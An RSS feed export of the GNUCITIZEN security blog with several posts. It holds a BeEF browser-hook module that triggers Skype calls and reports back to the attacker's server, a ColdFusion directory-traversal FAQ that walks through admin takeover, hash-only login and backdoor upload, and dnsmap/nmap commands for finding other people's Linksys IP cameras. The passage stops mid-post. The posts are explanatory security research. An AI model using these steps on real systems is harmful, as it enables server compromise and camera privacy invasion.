<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GNUCITIZEN &#187; Blog</title>
	<atom:link href="http://www.gnucitizen.org/categories/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org</link>
	<description>Information Security Think Tank</description>
	<lastBuildDate>Mon, 12 Dec 2011 20:33:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.2</generator>
		<item>
		<title>Well Websecurify Runs on The iPhone</title>
		<link>http://www.gnucitizen.org/blog/well-websecurify-runs-on-the-iphone/</link>
		<comments>http://www.gnucitizen.org/blog/well-websecurify-runs-on-the-iphone/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 16:27:04 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[websecurify]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=6259</guid>
		<description><![CDATA[This is not necessarily news anymore since it was discussed on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.



The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. [...]]]></description>
			<content:encoded><![CDATA[<p>This is not necessarily news anymore since it was <a href="http://blog.websecurify.com/2011/08/websecurify-for-iphone-preview.html">discussed</a> on the Websecurify official blog but we are so excited about it that we could not hold ourselves from posting it here too.</p>

<div class="screen"><object style="height: 390px; width: 640px"><param name="movie" value="http://www.youtube.com/v/19U37T7F8Lw?version=3"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"><embed src="http://www.youtube.com/v/19U37T7F8Lw?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"></embed></param></object></div>

<p>The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.</p>

<blockquote>Now this is exciting! Websecurify is the first in the world mobile web application testing technology.</blockquote>

<p>If you have any suggestions, recommendations or general feedback please do let us know. You can also <a href="https://spreadsheets.google.com/spreadsheet/viewform?formkey=dEFlRENtdnJKSTJaeC13TjhHaVduckE6MQ">participate</a> in the beta test program which will allow you to have a play with tool as we are polishing it for the official release.</p>

<p><em>The possibilities are endless.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/well-websecurify-runs-on-the-iphone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stuxnet</title>
		<link>http://www.gnucitizen.org/blog/stuxnet/</link>
		<comments>http://www.gnucitizen.org/blog/stuxnet/#comments</comments>
		<pubDate>Mon, 13 Jun 2011 15:21:37 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[stuxnet]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=6246</guid>
		<description><![CDATA[I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:



Wether this is the real deal or simply fear mongering, I simply don&#8217;t know. It is all speculations at the moment. [...]]]></description>
			<content:encoded><![CDATA[<p>I have been avoiding the topic about Stuxnet for quite some time, mainly because there were many others who spent the time to take the virus apart. However, here is a video, which I find rather amusing:</p>

<div class="screen"><iframe width="560" height="349" src="http://www.youtube.com/embed/7g0pi4J8auQ" frameborder="0" allowfullscreen></iframe></div>

<p><em>Wether this is the real deal or simply fear mongering, I simply don&#8217;t know. It is all speculations at the moment. The only thing we can say is that it is difficult to deny the fact that computers are important and whoever has control over them has control over people lives and can influence a lot of things including politics.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/stuxnet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Having fun with BeEF, the browser exploitation framework</title>
		<link>http://www.gnucitizen.org/blog/having-fun-with-beef-the-browser-exploitation-framework/</link>
		<comments>http://www.gnucitizen.org/blog/having-fun-with-beef-the-browser-exploitation-framework/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 11:40:26 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=4039</guid>
		<description><![CDATA[We haven&#8217;t featured any guest bloggers in a while, but we&#8217;re glad to be featuring Chirstian Frichot this month! Christian is a security professional based in Perth, Western Australia. He&#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications. [...]]]></description>
			<content:encoded><![CDATA[<p><em>We haven&#8217;t featured any guest bloggers in a while, but we&#8217;re glad to be featuring <a href="http://un-excogitate.org/">Chirstian Frichot</a> this month! Christian is a security professional based in Perth, Western Australia. He&#8217;s currently working in the finance industry as part of a tight-knit internal team of security consultants doing their best to protect their business and customers from technical threats such as malware or insecure web applications.</em></p>

<p><em>After having met <a href="http://www.bindshell.net/users/Wade">Wade Alcorn</a> (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade&#8217;s regretting the decision now!</em></p>

<p><em>Christian&#8217;s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he&#8217;s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.</em></p>

<p><em>What follows are Chritian&#8217;s words on the BeEF project.</em><p>

<p>Sorry vegetarians, but BeEF is back. That&#8217;s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven&#8217;t had a chance to explore the older, PHP version of BeEF you&#8217;re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.</p>

<p>The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.</p>

<p>One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple&#8217;s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by <a href="http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html">Nitesh Dhanjani</a> and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:</p>

<pre><code>beef.execute(function() {
Â  Â document.body.innerHTML = &quot;&lt;iframe src=skype:&lt;%= @tel_num
%&gt;?call&gt;&lt;/iframe&gt;&quot;;

Â  Â beef.net.sendback(&quot;&lt;%= @command_url %&gt;&quot;, &lt;%= @command_id %&gt;,
&quot;result=IFrame Created!&quot;);
});</code></pre>

<p>which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS&#8217; multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they&#8217;re not prompted to &#8220;confirm&#8221; the action. You can see this module demonstrated bellow:</p>

<div class="screen"><iframe title="YouTube video player" width="640" height="390" src="http://www.youtube.com/embed/5SVu6VdLWgs" frameborder="0" allowfullscreen></iframe></div>

<p>The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we&#8217;re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:</p>

<ol>
<li>jQuery included as part of the hooking process</li>
<li>Metasploit integration</li>
<li>Evercookie&#8217;s for persistence even after a hooked browser has been closed</li>
<li>full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc</li>
<li>arbitrary HTTP requester</li>
<li>proxying</li>
<li>persistence modules (subtle popups or 100%x100% iframes)</li>
<li>detecting of social networking authentication status (as per <a href="http://grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_Information">this</a>)</li>
</ol>

<p>You can find out more about beef over at <a href="http://beef.googlecode.com">http://beef.googlecode.com</a> or
by following the <a href="http://twitter.com/beefproject">@beefproject</a>.</p>

<p><em>BeEF &#8211; Get it into ya!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/having-fun-with-beef-the-browser-exploitation-framework/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ColdFusion directory traversal FAQ (CVE-2010-2861)</title>
		<link>http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/</link>
		<comments>http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 15:31:33 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[coldfusion]]></category>
		<category><![CDATA[directory]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[traversal]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3665</guid>
		<description><![CDATA[A new Adobe hotfix for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as important by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&#8217;re up against. [...]]]></description>
			<content:encoded><![CDATA[<p>A new Adobe <a href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">hotfix</a> for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain, was rated as <a href="http://www.adobe.com/devnet/security/security_zone/severity_ratings.html">important</a> by Adobe and could affect a large number of Internet-facing web servers. The FAQ bellow is meant to shed some light on this vulnerability so that ColdFusion administrators can understand what they&#8217;re up against.</p>

<h3>The FAQ</h3>

<p>Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a <strong>CRITICAL</strong> rating by Adobe, rather than Important. As we&#8217;ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.</p>

<h4>How does the vulnerability work?</h4>

<p>The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server&#8217;s webroot via special strings such as <code>../</code>. More information can be found on the <a href="http://www.owasp.org/index.php/Path_Traversal">OWASP</a> website.</p>

<h4>Is authentication required to exploit this vulnerability?</h4>

<p>NO. The attacker doesn&#8217;t require knowledge of any passwords in order to exploit the directory traversal bug.</p>

<h4>What&#8217;s the goal of the attacker when exploiting this vulnerability?</h4>

<p>Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of <code>neo-security.xml</code> and <code>password.properties</code>. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how <code>password.properties</code> has been setup, the ColdFusion admin password will be hashed or stored in clear-text (<code>encrypted=false</code>).</p>

<h4>What&#8217;s the worst that could happen once this vulnerability has been exploited successfully?</h4>

<p>As we&#8217;ll see at the end of this post, once the attacker has gained access to the CF admin console &#8211; e.g.: by cracking the admin password &#8211; it might be possible to fully compromise the underlying OS.</p>

<h4>How can the vulnerability be resolved?</h4>

<p>You can either apply Adobe&#8217;s <a href="http://kb2.adobe.com/cps/857/cpsid_85766.html">patch</a> or restrict access to the following directories and file from trusted IP addresses only: <code>/CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm</code></p>

<h4>What are the mitigating factors?</h4>

<p>This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.</p>

<p><del datetime="2010-08-16T22:36:05+00:00">If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9</del> (<strong>see UPDATE notes</strong>). Version 6 doesn&#8217;t hash the password, but instead encrypts it using a proprietary algorithm.</p>

<h4>What versions of ColdFusion are affected?</h4>

<p>According to the Adobe <a href="http://www.adobe.com/support/security/bulletins/apsb10-18.html">bulletin</a> the affected versions are <q>ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX</q>. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.</p>

<h4>Can you provide the actual exploit?</h4>

<p>No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.</p>

<p><strong>UPDATE:</strong> the <a href="http://www.exploit-db.com/exploits/14641/">exploit details</a> were published by an anonymous researcher on <em>14/08/2010</em>, probably worked out by reverse-engineering Adobe&#8217;s patches. ProCheckUp has also released the <a href="http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07">exploit details</a> as of <em>17/08/2010</em>.</p>

<h4>Can you describe a real attack scenario?</h4>

<p>The following a real attack scenario against ColdFusion 8 on a Windows server:</p>

<ol>
<li>Attacker confirms ColdFusion admin console is Internet facing. E.g. <code>http://target-domain.foo/CFIDE/administrator/index.cfm</code></li>
<li>Attacker exploits directory traversal vulnerability and obtains the contents of <code>C:\ColdFusion8\lib\password.properties</code>, which contains the ColdFusion admin password <div class="screen"><a href="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/cf_dir_traversal_exploited-270x150.png" alt="" title="CF Dir Traversal Exploited PNG" width="270" height="150" class="alignnone size-thumbnail wp-image-3730" /></a></div></li>
<li>If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or <a href="http://passcracking.com/">rainbow table</a> <a href="http://hashcrack.com/">lookup</a>. Note that the default setting in ColdFusion 8 is <code>encrypted=true</code> as per <code>password.properties</code> file. Otherwise, if the password is stored unencrypted (<code>encrypted=false</code>), there would be no need for password cracking.</li>
<li><strong>UPDATE:</strong> as suggested by <a href="http://blog.teusink.net/">Niels Teusink</a>, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash: <ol><li>Configure your favorite MITM proxy &#8211; e.g. <a href="http://portswigger.net/proxy/">Burp</a> &#8211; to capture traffic between your browser and target CF admin console</li><li>Enter hash in password field of login form (usually located on <code>/CFIDE/administrator/enter.cfm</code>)</li><li>Type the following on your browser&#8217;s address bar and press enter (make sure JavaScript is enabled on your browser): <code>javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)</code></li><li>Record value. e.g. <code>AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0</code></li><li>Press browser&#8217;s Back button</li><li>Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)</li><li>Trap the login request and replace the value of the <code>cfadminPassword</code> parameter with the value recorded above</li><li>Forward request</li></ol></li>
<li>At this point, the attacker would be able to login as a CF admin and upload a <a href="http://michaeldaw.org/projects/web-backdoor-compilation">malicious CFM script</a> that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server&#8217;s webroot <div class="screen"><a href="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task-170x150.png" alt="" title="CF Backdoor Task PNG" width="170" height="150" class="alignnone size-thumbnail wp-image-3705" /></a></div></li>
<li>At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default <div class="screen"><a href="http://www.gnucitizen.org/static/blog/2010/08/command_execution2.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_execution2-362x150.png" alt="" title="CF Command Execution PNG" width="362" height="150" class="alignnone size-thumbnail wp-image-3725" /></a> <a href="http://www.gnucitizen.org/static/blog/2010/08/command_output.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_output-300x90.png" alt="" title="CF Command Output PNG" width="300" height="90" class="alignnone size-medium wp-image-3700" /></a></div></a></li>
</ol>

<p>If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (<code>C:\ColdFusion8\lib\neo-datasource.xml</code>) which can be <a href="http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html">easily decrypted</a> and then directly authenticate to the backend DB server. This however wouldn&#8217;t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!</p>

<h3>Post Updates</h3>

<ul>
<li><strong>16/09/2010</strong> &#8211; new path added as part of blacklisting solution</li>
<li><strong>16/09/2010</strong> &#8211; added trick to login without cracking the CF admin password hash</li>
<li><strong>16/09/2010</strong> &#8211; mentioned recently published exploit code for the CF traversal vulnerability</li>
<li><strong>18/09/2010</strong> &#8211; fixed typos and mentioned release of exploit details by ProCheckUp</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>1ST European Edition of HITB Coming Up!</title>
		<link>http://www.gnucitizen.org/blog/1st-european-edition-of-hitb-coming-up/</link>
		<comments>http://www.gnucitizen.org/blog/1st-european-edition-of-hitb-coming-up/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 09:16:22 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Amsterdam]]></category>
		<category><![CDATA[hitb]]></category>
		<category><![CDATA[hitbsecconf]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3656</guid>
		<description><![CDATA[In case you haven&#8217;t heard yet, HITBSecConf is hosting the first European Edition of their conference in Amsterdam during 1st-2nd July &#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe. [...]]]></description>
			<content:encoded><![CDATA[<p>In case you haven&#8217;t heard yet, HITBSecConf is hosting the first European Edition of their <a href="http://conference.hackinthebox.org/hitbsecconf2010ams/?page_id=24">conference</a> in Amsterdam during 1st-2nd July &#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe.</p>

<blockquote>HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I&#8217;ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don&#8217;t believe me, check out the <a href="http://photos.hackinthebox.org/gallery/">pix</a> of past conferences and you&#8217;ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I&#8217;ve had the chance to attend.</blockquote>

<p>Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found <a href="http://conference.hitb.org/hitbsecconf2010ams/agenda.pdf">here</a>.  I&#8217;m really looking forward to Niels Teusink&#8217;s <a href="http://blog.teusink.net/2010/05/presenting-at-hack-in-box-2010.html">presentation</a> on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by <a href="http://dsecrg.com/">Alexey Sintsov</a> (originally <a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf">discussed</a> by Dion Blazakis).</p>

<p>One more thing, almost forgot: there will be a bring-your-own-laptop <a href="http://conference.hitb.org/hitbsecconf2010ams/?page_id=41">web hacking challenge</a> at HITB EU.</p>

<p><em>See you at HITB Amsterdam next month!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/1st-european-edition-of-hitb-coming-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 6)</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-6/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-6/#comments</comments>
		<pubDate>Wed, 24 Feb 2010 07:18:29 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[bruteforcing]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dnsmap]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[subdomain]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3415</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and here.

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">here</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">here</a> and <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/">here</a>.</em></p>

<p>As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we&#8217;ll eventually come across the type of device we&#8217;re interested in.</p>

<p>The second method, which would be much faster in finding our target devices, would be to use a <a href="http://www.google.co.uk/search?ie=UTF-8&#038;q=inurl:/img/vr.htm">search engine</a> and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by <a href="http://www.hackersforcharity.org/ghdb/?function=summary&#038;cat=18">GHDB</a> is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.</p>

<p>The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the <a href="http://www.ericdigests.org/2002-2/hidden.htm">hidden web</a>), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:</p>

<ul>
<li><code>linksys-cam.com</code></li>
<li><code>mylinksyscamera.com</code></li>
<li><code>mylinksyshome.com</code></li>
<li><code>mylinksyscam.com</code></li>
<li><code>mylinksysview.com</code></li>
<li><code>linksysremotecam.com</code></li>
<li><code>linksysremoteview.com</code></li>
<li><code>linksyshomemonitor.com</code></li>
</ul>

<h3>Camera discovery process through subdomain bruteforcing</h3>

<p>We first save the aforementioned domains in a file, <code>doms</code> in this case. Then we use <a href="http://code.google.com/p/dnsmap/">dnsmap</a> to bruteforce subdomains for each of the domains included in <code>doms</code>.</p>

<p>Using dnsmap&#8217;s built-in wordlist:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p>Using a user-supplied wordlist, <code>wordlist_TLAs.txt</code> in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p><em>Note: dnsmap&#8217;s <code>-i</code> option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the <a href="http://www.tzo.com/">DDNS service provider</a>, and would therefore be regarded as false positives in this case (we&#8217;re only interested in IP cameras setup by their respective owners after all).</em> For more info on how to use dnsmap, checkout the <a href="http://code.google.com/p/dnsmap/source/browse/trunk/README.txt">README</a> file.</p>

<p>We then parse the IP addresses of the subdomains discovered by dnsmap:</p>

<pre><code>$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt</code></pre>

<p>Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:</p>

<pre><code>$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`</pre></code>

<p>This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own <a href="http://freeworld.thc.org/thc-amap/">amap</a> response signature, and then scan the open ports with amap.</p>

<p>Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to <code>appdefs.resp</code>, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:</p>

